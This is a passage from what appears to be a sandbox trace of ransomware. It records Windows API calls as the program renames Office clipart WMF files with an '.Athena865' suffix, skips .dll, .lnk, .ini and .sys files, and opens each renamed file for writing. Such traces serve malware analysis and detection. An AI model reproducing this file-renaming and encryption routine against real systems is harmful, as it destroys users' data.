lstrlenW (lpString="J0199423.WMF") returned 12 [0127.557] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.Athena865") returned 73 [0127.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.athena865"), dwFlags=0x1) returned 1 [0127.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.559] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26154) returned 1 [0127.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.563] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199429.WMF" | out: lpString1="J0199429.WMF") returned="J0199429.WMF" [0127.563] lstrlenW (lpString="J0199429.WMF") returned 12 [0127.563] lstrlenW (lpString="Athena865") returned 9 [0127.563] lstrcmpiW (lpString1="99429.WMF", lpString2="Athena865") returned -1 [0127.563] lstrlenW (lpString=".dll") returned 4 [0127.563] lstrcmpiW (lpString1="J0199429.WMF", lpString2=".dll") returned 1 [0127.563] lstrlenW (lpString=".lnk") returned 4 [0127.563] lstrcmpiW (lpString1="J0199429.WMF", lpString2=".lnk") returned 1 [0127.563] lstrlenW (lpString=".ini") returned 4 [0127.563] lstrcmpiW (lpString1="J0199429.WMF", lpString2=".ini") returned 1 [0127.563] lstrlenW (lpString=".sys") returned 4 [0127.563] lstrcmpiW (lpString1="J0199429.WMF", lpString2=".sys") returned 1 [0127.563] lstrlenW (lpString="J0199429.WMF") returned 12 [0127.568] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.Athena865") returned 73 [0127.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.athena865"), dwFlags=0x1) returned 1 [0127.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.570] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16676) returned 1 [0127.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.573] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199465.WMF" | out: lpString1="J0199465.WMF") returned="J0199465.WMF" [0127.573] lstrlenW (lpString="J0199465.WMF") returned 12 [0127.573] lstrlenW (lpString="Athena865") returned 9 [0127.573] lstrcmpiW (lpString1="99465.WMF", lpString2="Athena865") returned -1 [0127.573] lstrlenW (lpString=".dll") returned 4 [0127.573] lstrcmpiW (lpString1="J0199465.WMF", lpString2=".dll") returned 1 [0127.573] lstrlenW (lpString=".lnk") returned 4 [0127.573] lstrcmpiW (lpString1="J0199465.WMF", lpString2=".lnk") returned 1 [0127.573] lstrlenW (lpString=".ini") returned 4 [0127.573] lstrcmpiW (lpString1="J0199465.WMF", lpString2=".ini") returned 1 [0127.574] lstrlenW (lpString=".sys") returned 4 [0127.574] lstrcmpiW (lpString1="J0199465.WMF", lpString2=".sys") returned 1 [0127.574] lstrlenW (lpString="J0199465.WMF") returned 12 [0127.574] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.Athena865") returned 73 [0127.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.athena865"), dwFlags=0x1) returned 1 [0127.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.575] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5060) returned 1 [0127.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.578] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199469.WMF" | out: lpString1="J0199469.WMF") returned="J0199469.WMF" [0127.578] lstrlenW (lpString="J0199469.WMF") returned 12 [0127.578] lstrlenW (lpString="Athena865") returned 9 [0127.578] lstrcmpiW (lpString1="99469.WMF", lpString2="Athena865") returned -1 [0127.578] lstrlenW (lpString=".dll") returned 4 [0127.578] lstrcmpiW (lpString1="J0199469.WMF", lpString2=".dll") returned 1 [0127.578] lstrlenW (lpString=".lnk") returned 4 [0127.578] lstrcmpiW (lpString1="J0199469.WMF", lpString2=".lnk") returned 1 [0127.578] lstrlenW (lpString=".ini") returned 4 [0127.578] lstrcmpiW (lpString1="J0199469.WMF", lpString2=".ini") returned 1 [0127.578] lstrlenW (lpString=".sys") returned 4 [0127.578] lstrcmpiW (lpString1="J0199469.WMF", lpString2=".sys") returned 1 [0127.578] lstrlenW (lpString="J0199469.WMF") returned 12 [0127.579] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.Athena865") returned 73 [0127.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.athena865"), dwFlags=0x1) returned 1 [0127.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.580] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13756) returned 1 [0127.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.583] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199473.WMF" | out: lpString1="J0199473.WMF") returned="J0199473.WMF" [0127.583] lstrlenW (lpString="J0199473.WMF") returned 12 [0127.583] lstrlenW (lpString="Athena865") returned 9 [0127.583] lstrcmpiW (lpString1="99473.WMF", lpString2="Athena865") returned -1 [0127.583] lstrlenW (lpString=".dll") returned 4 [0127.583] lstrcmpiW (lpString1="J0199473.WMF", lpString2=".dll") returned 1 [0127.583] lstrlenW (lpString=".lnk") returned 4 [0127.583] lstrcmpiW (lpString1="J0199473.WMF", lpString2=".lnk") returned 1 [0127.583] lstrlenW (lpString=".ini") returned 4 [0127.583] lstrcmpiW (lpString1="J0199473.WMF", lpString2=".ini") returned 1 [0127.583] lstrlenW (lpString=".sys") returned 4 [0127.583] lstrcmpiW (lpString1="J0199473.WMF", lpString2=".sys") returned 1 [0127.583] lstrlenW (lpString="J0199473.WMF") returned 12 [0127.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.Athena865") returned 73 [0127.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.athena865"), dwFlags=0x1) returned 1 [0127.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.585] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10776) returned 1 [0127.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.590] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199475.WMF" | out: lpString1="J0199475.WMF") returned="J0199475.WMF" [0127.590] lstrlenW (lpString="J0199475.WMF") returned 12 [0127.590] lstrlenW (lpString="Athena865") returned 9 [0127.590] lstrcmpiW (lpString1="99475.WMF", lpString2="Athena865") returned -1 [0127.590] lstrlenW (lpString=".dll") returned 4 [0127.590] lstrcmpiW (lpString1="J0199475.WMF", lpString2=".dll") returned 1 [0127.590] lstrlenW (lpString=".lnk") returned 4 [0127.590] lstrcmpiW (lpString1="J0199475.WMF", lpString2=".lnk") returned 1 [0127.590] lstrlenW (lpString=".ini") returned 4 [0127.590] lstrcmpiW (lpString1="J0199475.WMF", lpString2=".ini") returned 1 [0127.591] lstrlenW (lpString=".sys") returned 4 [0127.591] lstrcmpiW (lpString1="J0199475.WMF", lpString2=".sys") returned 1 [0127.591] lstrlenW (lpString="J0199475.WMF") returned 12 [0127.591] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.Athena865") returned 73 [0127.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.athena865"), dwFlags=0x1) returned 1 [0127.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.592] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5252) returned 1 [0127.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.596] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199483.WMF" | out: lpString1="J0199483.WMF") returned="J0199483.WMF" [0127.596] lstrlenW (lpString="J0199483.WMF") returned 12 [0127.596] lstrlenW (lpString="Athena865") returned 9 [0127.596] lstrcmpiW (lpString1="99483.WMF", lpString2="Athena865") returned -1 [0127.596] lstrlenW (lpString=".dll") returned 4 [0127.596] lstrcmpiW (lpString1="J0199483.WMF", lpString2=".dll") returned 1 [0127.596] lstrlenW (lpString=".lnk") returned 4 [0127.596] lstrcmpiW (lpString1="J0199483.WMF", lpString2=".lnk") returned 1 [0127.596] lstrlenW (lpString=".ini") returned 4 [0127.596] lstrcmpiW (lpString1="J0199483.WMF", lpString2=".ini") returned 1 [0127.596] lstrlenW (lpString=".sys") returned 4 [0127.596] lstrcmpiW (lpString1="J0199483.WMF", lpString2=".sys") returned 1 [0127.596] lstrlenW (lpString="J0199483.WMF") returned 12 [0127.596] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.Athena865") returned 73 [0127.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.athena865"), dwFlags=0x1) returned 1 [0127.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.598] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10164) returned 1 [0127.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.602] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199609.WMF" | out: lpString1="J0199609.WMF") returned="J0199609.WMF" [0127.602] lstrlenW (lpString="J0199609.WMF") returned 12 [0127.602] lstrlenW (lpString="Athena865") returned 9 [0127.602] lstrcmpiW (lpString1="99609.WMF", lpString2="Athena865") returned -1 [0127.603] lstrlenW (lpString=".dll") returned 4 [0127.603] lstrcmpiW (lpString1="J0199609.WMF", lpString2=".dll") returned 1 [0127.603] lstrlenW (lpString=".lnk") returned 4 [0127.603] lstrcmpiW (lpString1="J0199609.WMF", lpString2=".lnk") returned 1 [0127.603] lstrlenW (lpString=".ini") returned 4 [0127.603] lstrcmpiW (lpString1="J0199609.WMF", lpString2=".ini") returned 1 [0127.603] lstrlenW (lpString=".sys") returned 4 [0127.603] lstrcmpiW (lpString1="J0199609.WMF", lpString2=".sys") returned 1 [0127.603] lstrlenW (lpString="J0199609.WMF") returned 12 [0127.603] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.Athena865") returned 73 [0127.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.athena865"), dwFlags=0x1) returned 1 [0127.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.606] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12332) returned 1 [0127.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.615] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200151.WMF" | out: lpString1="J0200151.WMF") returned="J0200151.WMF" [0127.615] lstrlenW (lpString="J0200151.WMF") returned 12 [0127.615] lstrlenW (lpString="Athena865") returned 9 [0127.615] lstrcmpiW (lpString1="00151.WMF", lpString2="Athena865") returned -1 [0127.615] lstrlenW (lpString=".dll") returned 4 [0127.615] lstrcmpiW (lpString1="J0200151.WMF", lpString2=".dll") returned 1 [0127.615] lstrlenW (lpString=".lnk") returned 4 [0127.615] lstrcmpiW (lpString1="J0200151.WMF", lpString2=".lnk") returned 1 [0127.615] lstrlenW (lpString=".ini") returned 4 [0127.615] lstrcmpiW (lpString1="J0200151.WMF", lpString2=".ini") returned 1 [0127.615] lstrlenW (lpString=".sys") returned 4 [0127.615] lstrcmpiW (lpString1="J0200151.WMF", lpString2=".sys") returned 1 [0127.615] lstrlenW (lpString="J0200151.WMF") returned 12 [0127.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.Athena865") returned 73 [0127.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.athena865"), dwFlags=0x1) returned 1 [0127.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.617] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8196) returned 1 [0127.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.621] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200163.WMF" | out: lpString1="J0200163.WMF") returned="J0200163.WMF" [0127.621] lstrlenW (lpString="J0200163.WMF") returned 12 [0127.621] lstrlenW (lpString="Athena865") returned 9 [0127.621] lstrcmpiW (lpString1="00163.WMF", lpString2="Athena865") returned -1 [0127.621] lstrlenW (lpString=".dll") returned 4 [0127.621] lstrcmpiW (lpString1="J0200163.WMF", lpString2=".dll") returned 1 [0127.621] lstrlenW (lpString=".lnk") returned 4 [0127.621] lstrcmpiW (lpString1="J0200163.WMF", lpString2=".lnk") returned 1 [0127.621] lstrlenW (lpString=".ini") returned 4 [0127.621] lstrcmpiW (lpString1="J0200163.WMF", lpString2=".ini") returned 1 [0127.621] lstrlenW (lpString=".sys") returned 4 [0127.621] lstrcmpiW (lpString1="J0200163.WMF", lpString2=".sys") returned 1 [0127.621] lstrlenW (lpString="J0200163.WMF") returned 12 [0127.621] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.Athena865") returned 73 [0127.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.athena865"), dwFlags=0x1) returned 1 [0127.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.623] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7180) returned 1 [0127.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.628] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200183.WMF" | out: lpString1="J0200183.WMF") returned="J0200183.WMF" [0127.628] lstrlenW (lpString="J0200183.WMF") returned 12 [0127.628] lstrlenW (lpString="Athena865") returned 9 [0127.628] lstrcmpiW (lpString1="00183.WMF", lpString2="Athena865") returned -1 [0127.628] lstrlenW (lpString=".dll") returned 4 [0127.628] lstrcmpiW (lpString1="J0200183.WMF", lpString2=".dll") returned 1 [0127.628] lstrlenW (lpString=".lnk") returned 4 [0127.629] lstrcmpiW (lpString1="J0200183.WMF", lpString2=".lnk") returned 1 [0127.629] lstrlenW (lpString=".ini") returned 4 [0127.629] lstrcmpiW (lpString1="J0200183.WMF", lpString2=".ini") returned 1 [0127.629] lstrlenW (lpString=".sys") returned 4 [0127.629] lstrcmpiW (lpString1="J0200183.WMF", lpString2=".sys") returned 1 [0127.629] lstrlenW (lpString="J0200183.WMF") returned 12 [0127.629] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.Athena865") returned 73 [0127.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.athena865"), dwFlags=0x1) returned 1 [0127.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.630] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5312) returned 1 [0127.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.633] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200189.WMF" | out: lpString1="J0200189.WMF") returned="J0200189.WMF" [0127.633] lstrlenW (lpString="J0200189.WMF") returned 12 [0127.633] lstrlenW (lpString="Athena865") returned 9 [0127.633] lstrcmpiW (lpString1="00189.WMF", lpString2="Athena865") returned -1 [0127.633] lstrlenW (lpString=".dll") returned 4 [0127.633] lstrcmpiW (lpString1="J0200189.WMF", lpString2=".dll") returned 1 [0127.633] lstrlenW (lpString=".lnk") returned 4 [0127.633] lstrcmpiW (lpString1="J0200189.WMF", lpString2=".lnk") returned 1 [0127.633] lstrlenW (lpString=".ini") returned 4 [0127.633] lstrcmpiW (lpString1="J0200189.WMF", lpString2=".ini") returned 1 [0127.634] lstrlenW (lpString=".sys") returned 4 [0127.634] lstrcmpiW (lpString1="J0200189.WMF", lpString2=".sys") returned 1 [0127.634] lstrlenW (lpString="J0200189.WMF") returned 12 [0127.634] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.Athena865") returned 73 [0127.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.athena865"), dwFlags=0x1) returned 1 [0127.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.637] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8060) returned 1 [0127.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.644] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200273.WMF" | out: lpString1="J0200273.WMF") returned="J0200273.WMF" [0127.644] lstrlenW (lpString="J0200273.WMF") returned 12 [0127.645] lstrlenW (lpString="Athena865") returned 9 [0127.645] lstrcmpiW (lpString1="00273.WMF", lpString2="Athena865") returned -1 [0127.645] lstrlenW (lpString=".dll") returned 4 [0127.645] lstrcmpiW (lpString1="J0200273.WMF", lpString2=".dll") returned 1 [0127.645] lstrlenW (lpString=".lnk") returned 4 [0127.645] lstrcmpiW (lpString1="J0200273.WMF", lpString2=".lnk") returned 1 [0127.645] lstrlenW (lpString=".ini") returned 4 [0127.645] lstrcmpiW (lpString1="J0200273.WMF", lpString2=".ini") returned 1 [0127.645] lstrlenW (lpString=".sys") returned 4 [0127.645] lstrcmpiW (lpString1="J0200273.WMF", lpString2=".sys") returned 1 [0127.645] lstrlenW (lpString="J0200273.WMF") returned 